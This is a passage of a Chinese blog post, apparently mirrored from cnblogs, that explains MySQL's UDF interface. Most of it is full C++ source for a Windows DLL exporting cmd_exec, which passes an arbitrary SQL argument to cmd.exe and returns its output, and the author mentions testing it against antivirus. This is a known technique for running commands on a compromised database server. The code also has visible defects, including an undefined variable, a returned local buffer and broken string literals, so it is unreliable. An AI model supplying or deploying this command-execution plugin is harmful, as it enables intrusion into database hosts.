zoukankan      html  css  js  c++  java
  • Mysql udf插件自定义实现

    UDF官方文档:https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html

    参考文章:https://blog.csdn.net/cssxn/article/details/89497942

    UDF的调用过程:

    如果需要内存,则必须将其放入 xxx_init() 并释放 xxx_deinit()。

    那么也就是在创建udf的dll的时候要实现的是XXX_INIT 和 XXX_DEINIT 这两个函数,这里必须要实现的是XXX_INIT,因为需要该函数为我们分配内存空间

    实现模板:

    my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
    
    void xxx_deinit(UDF_INIT *initid);
    

    由于用到的udf调用结果都是字符串,那么这里返回结果就声明为char*了

    用到的模板则是如下:

    char *xxx(UDF_INIT *initid, UDF_ARGS *args,
              char *result, unsigned long *length,
              char *is_null, char *error);
    

    其中UDF_ARGS的结构体如下:

    typedef struct st_udf_args
    {
      unsigned int arg_count;		/* Number of arguments */
      enum Item_result *arg_type;		/* Pointer to item_results */
      char **args;				/* Pointer to argument */
      unsigned long *lengths;		/* Length of string arguments */
      char *maybe_null;			/* Set to 1 for all maybe_null args */
      char **attributes;                    /* Pointer to attribute name */
      unsigned long *attribute_lengths;     /* Length of attribute arguments */
      void *extension;
    } UDF_ARGS;
    

    UDF_ARGS结构体中类型为char**的属性attributes为如下,这个可以用来拿到获取参数的值!

    调用UDF的实现模板就是如下:

    //初始化
    my_bool xxx_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
    
    //自定义函数
    char *xxx(UDF_INIT *initid, UDF_ARGS *args,
              char *result, unsigned long *length,
              char *is_null, char *error);
    
    //反初始化
    void xxx_deinit(UDF_INIT *initid);
    

    代码实现:

    原作者的代码实现中只进行了一次的数据获取和乱码,这里改成多次获取,修复下乱码,其他的没啥问题!

    #include "stdafx.h"
    #include "windows.h"
    #include <stdio.h>
    #include "./include/mysql.h"
    
    
    extern "C"  __declspec(dllexport) my_bool cmd_exec_init()
    {
    	return 0;
    }
    
    
    extern "C"  __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)
    {
    
    	
    	HANDLE hReadPipe = NULL;
    	HANDLE hWritePipe = NULL;
    	SECURITY_ATTRIBUTES sa;
    	sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得
    	sa.lpSecurityDescriptor = NULL;//安全描述符
    	sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建??的进程继承
    
    	// Create anoymous pipe:
    	if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)
    	{
    		return "Create anoymous pipe failed
    ";
    	}
    
    	// Create Child Process:
    	PROCESS_INFORMATION pi = { 0 };
    	STARTUPINFO si = { 0 };
    	si.cb = sizeof(STARTUPINFO);
    	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    	si.hStdOutput = hWritePipe;
    	si.hStdError = hWritePipe;
    
    	// get 
    	TCHAR cmd_buf[4096];
    	memset(cmd_buf, 0, 4096);
    	wsprintf(cmd_buf,TEXT("/c %s"), args->attributes[0], args->attribute_lengths[0]);
    
    	if (!CreateProcess(TEXT("c:\windows\system32\cmd.exe"), cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &si,&pi))
    	{
    		CloseHandle(hWritePipe);
    		CloseHandle(hReadPipe);
    		return "Create child process failed!
    ";
    	}
    	CloseHandle(hWritePipe);
    
    	// command buffer
    	TCHAR szBuffer[4096];
    	TCHAR tempBuffer[1024];
    	memset(szBuffer, 0, 4096);
    	memset(tempBuffer, 0, 1024);
    	DWORD dwBytesRead = 0;
    	while (PeekNamedPipe(hReadPipe, tempBuffer, 1024, &dwBytesRead, NULL, NULL))
    	{
    		if (dwBytesRead)
    		{
    			if(ReadFile(hReadPipe,tempBuffer,dwBytesRead,&dwBytesRead,NULL) == NULL){
    				break;
    			}
    			strcat(szBuffer,tempBuffer);
    		}
    	}
    	WaitForSingleObject(pInfo.hProcess, INFINITE);
    	CloseHandle(hReadPipe);
    	return szBuffer;
    }
    
    
    
    BOOL APIENTRY DllMain(HMODULE hModule,
    	DWORD  ul_reason_for_call,
    	LPVOID lpReserved
    	)
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		break;
    	case DLL_THREAD_ATTACH:
    		break;
    	case DLL_THREAD_DETACH:
    		break;
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    

    可以看到导出函数为两个:

    命令执行效果:

    火绒测试的效果:

    总结:

    1、关于命令执行,定义的时候好像一定需要定义为cmd_exec名称

    2、通过安全描述符的继承属性为TRUE来实现子进程继承父进程的句柄表获取匿名管道的句柄,从而来实现父子进程的数据通信

  • 相关阅读:
    asp 向另一个页面传递数组
    TSQL Program Rule and Tips 规则与优化
    虚函数 纯虚函数 抽象类
    static (c#)
    简单游标
    抽象方法 抽象类 (abstract)
    清理电脑
    泛型学习
    继承(对象生命周期) + 覆盖[new](索引函数) + 重载[virtual/override]
    #干货向#jQuery性能优化指南
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/13227920.html
Copyright © 2011-2022 走看看